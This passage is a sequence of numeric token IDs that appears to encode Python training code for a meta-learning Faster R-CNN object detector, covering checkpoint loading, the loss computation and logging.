19608, 292, 316, 11, 26498, 13, 42116, 2521, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 2395, 66, 365, 79, 5374, 11, 26498, 13, 9122, 4122, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 25138, 26954, 4064, 82, 1, 4064, 357, 2220, 62, 3672, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 26954, 796, 28034, 13, 2220, 7, 2220, 62, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 29891, 796, 26954, 17816, 29891, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 9688, 62, 538, 5374, 796, 26954, 17816, 538, 5374, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 262, 1271, 286, 6097, 287, 1218, 7108, 318, 1180, 422, 717, 7108, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 40715, 6624, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 796, 14230, 1068, 35, 713, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2315, 346, 1096, 42287, 286, 13987, 6144, 62, 565, 82, 62, 26675, 290, 13987, 6144, 62, 65, 3524, 62, 28764, 329, 1218, 7108, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13987, 6144, 62, 565, 82, 62, 26675, 62, 77, 796, 299, 77, 13, 14993, 451, 7, 1238, 2780, 11, 545, 9945, 13, 22510, 62, 37724, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13987, 6144, 62, 65, 3524, 62, 28764, 796, 299, 77, 13, 14993, 451, 7, 1238, 2780, 11, 604, 1635, 545, 9945, 13, 22510, 62, 37724, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 479, 11, 410, 287, 26954, 17816, 19849, 6, 4083, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 796, 479, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 58, 3672, 60, 796, 410, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 705, 7397, 6144, 62, 565, 82, 62, 26675, 62, 77, 13, 6551, 6, 287, 479, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 58, 3672, 60, 796, 13987, 6144, 62, 565, 82, 62, 26675, 62, 77, 13, 6551, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 705, 7397, 6144, 62, 565, 82, 62, 26675, 62, 77, 13, 65, 4448, 6, 287, 479, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 58, 3672, 60, 796, 13987, 6144, 62, 565, 82, 62, 26675, 62, 77, 13, 65, 4448, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 705, 7397, 6144, 62, 65, 3524, 62, 28764, 13, 6551, 6, 287, 479, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 58, 3672, 60, 796, 13987, 6144, 62, 65, 3524, 62, 28764, 13, 6551, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 705, 7397, 6144, 62, 65, 3524, 62, 28764, 13, 65, 4448, 6, 287, 479, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 649, 62, 5219, 62, 11600, 58, 3672, 60, 796, 13987, 6144, 62, 65, 3524, 62, 28764, 13, 65, 4448, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 13, 2220, 62, 5219, 62, 11600, 7, 3605, 62, 5219, 62, 11600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 26498, 13, 40715, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 13, 2220, 62, 5219, 62, 11600, 7, 9122, 4122, 17816, 19849, 6, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6436, 7509, 13, 2220, 62, 5219, 62, 11600, 7, 9122, 4122, 17816, 40085, 7509, 6, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 300, 81, 796, 6436, 7509, 13, 17143, 62, 24432, 58, 15, 7131, 6, 14050, 20520, 628, 220, 220, 220, 220, 220, 220, 220, 611, 705, 7742, 278, 62, 14171, 6, 287, 26954, 13, 13083, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 30218, 70, 13, 16402, 3535, 2751, 62, 49058, 796, 26954, 17816, 7742, 278, 62, 14171, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 14578, 26954, 4064, 82, 1, 4064, 357, 2220, 62, 3672, 4008, 628, 220, 220, 220, 340, 364, 62, 525, 62, 538, 5374, 796, 493, 7, 27432, 62, 7857, 1220, 26498, 13, 43501, 62, 7857, 8, 628, 220, 220, 220, 329, 36835, 287, 2837, 7, 22046, 13, 9688, 62, 538, 5374, 11, 26498, 13, 9806, 62, 538, 5374, 82, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 13, 27432, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 29510, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 923, 796, 640, 13, 2435, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 611, 36835, 4064, 357, 22046, 13, 14050, 62, 12501, 323, 62, 9662, 1343, 352, 8, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4532, 62, 40684, 62, 4873, 7, 40085, 7509, 11, 26498, 13, 14050, 62, 12501, 323, 62, 28483, 2611, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 300, 81, 1635, 28, 26498, 13, 14050, 62, 12501, 323, 62, 28483, 2611, 628, 220, 220, 220, 220, 220, 220, 220, 1366, 62, 2676, 796, 11629, 7, 67, 10254, 1170, 263, 8, 198, 220, 220, 220, 220, 220, 220, 220, 13634, 62, 2676, 796, 11629, 7, 28469, 1170, 263, 8, 198, 220, 220, 220, 220, 220, 220, 220, 329, 2239, 287, 2837, 7, 270, 364, 62, 525, 62, 538, 5374, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1366, 796, 1306, 7, 7890, 62, 2676, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1366, 62, 2676, 796, 11629, 7, 67, 10254, 1170, 263, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1366, 796, 1306, 7, 7890, 62, 2676, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 62, 4868, 796, 17635, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2315, 346, 1096, 262, 11192, 273, 15762, 994, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 28034, 13, 43879, 51, 22854, 7, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 796, 28034, 13, 43879, 51, 22854, 7, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 796, 28034, 13, 14617, 51, 22854, 7, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 796, 28034, 13, 43879, 51, 22854, 7, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4074, 284, 269, 15339, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 66, 15339, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 545, 62, 7890, 13, 66, 15339, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 796, 545, 62, 10951, 13, 66, 15339, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 796, 997, 62, 29305, 13, 66, 15339, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 796, 308, 83, 62, 29305, 13, 66, 15339, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 787, 7885, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 35748, 7, 320, 62, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 796, 35748, 7, 320, 62, 10951, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 796, 35748, 7, 22510, 62, 29305, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 796, 35748, 7, 13655, 62, 29305, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 651, 778, 77, 3127, 5128, 1366, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 778, 358, 1045, 11, 1050, 77, 565, 82, 796, 1306, 7, 28961, 62, 2676, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13634, 62, 2676, 796, 11629, 7, 28469, 1170, 263, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 778, 358, 1045, 11, 778, 77, 565, 82, 796, 1306, 7, 28961, 62, 2676, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1050, 77, 62, 565, 82, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1640, 1312, 287, 2837, 7, 11925, 7, 1050, 77, 565, 82, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 778, 77, 565, 82, 62, 22510, 796, 778, 77, 565, 82, 58, 72, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 4129, 796, 778, 77, 565, 82, 62, 22510, 13, 7857, 3419, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 329, 778, 77, 565, 82, 62, 22510, 287, 27056, 378, 7, 1050, 77, 565, 82, 62, 22510, 13, 35312, 7, 13664, 11, 15, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 778, 77, 62, 565, 82, 13, 33295, 7, 1050, 77, 565, 82, 62, 22510, 58, 16, 12962, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 13, 33295, 7, 43015, 7, 13165, 354, 13, 9246, 7, 1050, 358, 1045, 11, 27740, 28, 15, 737, 66, 15339, 3419, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 62, 4868, 13, 33295, 7, 1050, 77, 565, 82, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 15, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 16, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 16, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 17, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 17, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 18, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 18, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 13, 33295, 7, 320, 62, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 62, 4868, 13, 33295, 7, 320, 62, 10951, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 62, 4868, 13, 33295, 7, 13655, 62, 29305, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 62, 4868, 13, 33295, 7, 22510, 62, 29305, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 320, 62, 7890, 62, 4868, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 320, 62, 10951, 62, 4868, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 15, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 16, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 16, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 17, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 17, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 13, 7890, 13, 411, 1096, 41052, 7890, 58, 18, 4083, 7857, 3419, 737, 30073, 41052, 7890, 58, 18, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 13, 33295, 7, 320, 62, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 62, 4868, 13, 33295, 7, 320, 62, 10951, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 62, 4868, 13, 33295, 7, 13655, 62, 29305, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 62, 4868, 13, 33295, 7, 22510, 62, 29305, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 320, 62, 7890, 62, 4868, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 13, 22570, 62, 9744, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 686, 271, 11, 374, 21999, 62, 22462, 62, 565, 82, 11, 374, 21999, 62, 22462, 62, 3524, 11, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13987, 6144, 62, 22462, 62, 565, 82, 11, 13987, 6144, 62, 22462, 62, 65, 3524, 11, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 686, 271, 62, 18242, 11, 537, 82, 62, 1676, 65, 11, 275, 3524, 62, 28764, 11, 13634, 62, 22462, 11, 985, 22462, 11, 595, 62, 14323, 22462, 796, 5443, 7397, 6144, 7, 320, 62, 7890, 62, 4868, 11, 545, 62, 10951, 62, 4868, 11, 308, 83, 62, 29305, 62, 4868, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 62, 4868, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 81, 21999, 62, 22462, 62, 565, 82, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 22462, 796, 374, 21999, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 374, 21999, 62, 22462, 62, 3524, 13, 32604, 3419, 1343, 13987, 6144, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 2160, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 7397, 6144, 62, 22462, 62, 65, 3524, 8, 1220, 26498, 13, 43501, 62, 7857, 1343, 13634, 62, 22462, 1220, 18896, 7, 4164, 330, 31172, 8, 1343, 985, 22462, 1343, 595, 62, 14323, 22462, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 796, 374, 21999, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 374, 21999, 62, 22462, 62, 3524, 13, 32604, 3419, 1343, 2160, 7, 7397, 6144, 62, 22462, 62, 65, 3524, 8, 1220, 26498, 13, 43501, 62, 7857, 1343, 13634, 62, 22462, 1220, 18896, 7, 4164, 330, 31172, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 15, 796, 13987, 6144, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 985, 22462, 1343, 595, 62, 14323, 22462, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 796, 374, 21999, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 374, 21999, 62, 22462, 62, 3524, 13, 32604, 3419, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1343, 13987, 6144, 62, 22462, 62, 565, 82, 13, 32604, 3419, 1343, 13987, 6144, 62, 22462, 62, 65, 3524, 13, 32604, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 29510, 15853, 2994, 13, 7890, 58, 15, 60, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 19528, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6436, 7509, 13, 22570, 62, 9744, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 13, 1891, 904, 7, 1186, 391, 62, 34960, 28, 17821, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 15, 13, 1891, 904, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 611, 26498, 13, 3262, 6624, 366, 85, 1130, 1433, 1, 393, 366, 411, 8784, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 220, 10651, 62, 49607, 7, 69, 1603, 7397, 6144, 11, 838, 2014, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6436, 7509, 13, 9662, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 28034, 13, 66, 15339, 13, 28920, 62, 23870, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2239, 4064, 26498, 13, 6381, 79, 62, 3849, 2100, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 886, 796, 640, 13, 2435, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2239, 1875, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 29510, 1220, 28, 26498, 13, 6381, 79, 62, 3849, 2100, 220, 1303, 2994, 62, 29510, 318, 9076, 2994, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 81, 21999, 62, 565, 82, 796, 374, 21999, 62, 22462, 62, 565, 82, 13, 7890, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 81, 21999, 62, 3524, 796, 374, 21999, 62, 22462, 62, 3524, 13, 7890, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 6015, 20471, 62, 565, 82, 796, 13987, 6144, 62, 22462, 62, 565, 82, 13, 7890, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 6015, 20471, 62, 3524, 796, 13987, 6144, 62, 22462, 62, 65, 3524, 13, 7890, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 6015, 20471, 62, 565, 82, 796, 13987, 6144, 62, 22462, 62, 565, 82, 13, 32604, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 6015, 20471, 62, 3524, 796, 2160, 7, 7397, 6144, 62, 22462, 62, 65, 3524, 8, 1220, 26498, 13, 43501, 62, 7857, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 4164, 5605, 20471, 796, 13634, 62, 22462, 1220, 18896, 7, 4164, 330, 31172, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 985, 22462, 796, 985, 22462, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 595, 62, 14323, 22462, 796, 595, 62, 14323, 22462, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 70, 62, 66, 429, 796, 28034, 13, 16345, 7, 305, 271, 62, 18242, 13, 7890, 13, 710, 7, 15, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 275, 70, 62, 66, 429, 796, 686, 271, 62, 18242, 13, 7890, 13, 22510, 417, 3419, 532, 277, 70, 62, 66, 429, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 58, 29891, 4064, 67, 7131, 538, 5374, 4064, 17, 67, 7131, 2676, 4064, 19, 67, 60, 2994, 25, 4064, 13, 19, 69, 11, 300, 81, 25, 4064, 13, 17, 68, 1, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4064, 357, 22046, 13, 29891, 11, 36835, 11, 2239, 11, 2994, 62, 29510, 11, 300, 81, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 59, 83, 59, 83, 59, 27110, 70, 14, 35904, 16193, 4, 67, 14, 4, 67, 828, 640, 1575, 25, 4064, 69, 1, 4064, 357, 40616, 62, 66, 429, 11, 275, 70, 62, 66, 429, 11, 886, 532, 923, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 59, 83, 59, 83, 59, 2213, 21999, 62, 565, 82, 25, 4064, 13, 19, 69, 11, 374, 21999, 62, 3524, 25, 4064, 13, 19, 69, 11, 48321, 20471, 62, 565, 82, 25, 4064, 13, 19, 69, 11, 48321, 20471, 62, 3524, 4064, 13, 19, 69, 11, 13634, 62, 22462, 4064, 13, 19, 69, 11, 985, 22462, 25, 4064, 13, 19, 69, 11, 595, 62, 14323, 22462, 4064, 13, 19, 69, 1, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4064, 357, 22462, 62, 81, 21999, 62, 565, 82, 11, 2994, 62, 81, 21999, 62, 3524, 11, 2994, 62, 6015, 20471, 62, 565, 82, 11, 2994, 62, 6015, 20471, 62, 3524, 11, 2994, 62, 4164, 5605, 20471, 11, 985, 22462, 11, 595, 62, 14323, 22462, 15306, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 59, 83, 59, 83, 59, 2213, 21999, 62, 565, 82, 25, 4064, 13, 19, 69, 11, 374, 21999, 62, 3524, 25, 4064, 13, 19, 69, 11, 48321, 20471, 62, 565, 82, 25, 4064, 13, 19, 69, 11, 48321, 20471, 62, 3524, 4064, 13, 19, 69, 1, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4064, 357, 22462, 62, 81, 21999, 62, 565, 82, 11, 2994, 62, 81, 21999, 62, 3524, 11, 2994, 62, 6015, 20471, 62, 565, 82, 11, 2994, 62, 6015, 20471, 62, 3524, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 19282, 448, 13, 25925, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 1904, 62, 27110, 3526, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7508, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 22462, 10354, 2994, 62, 29510, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 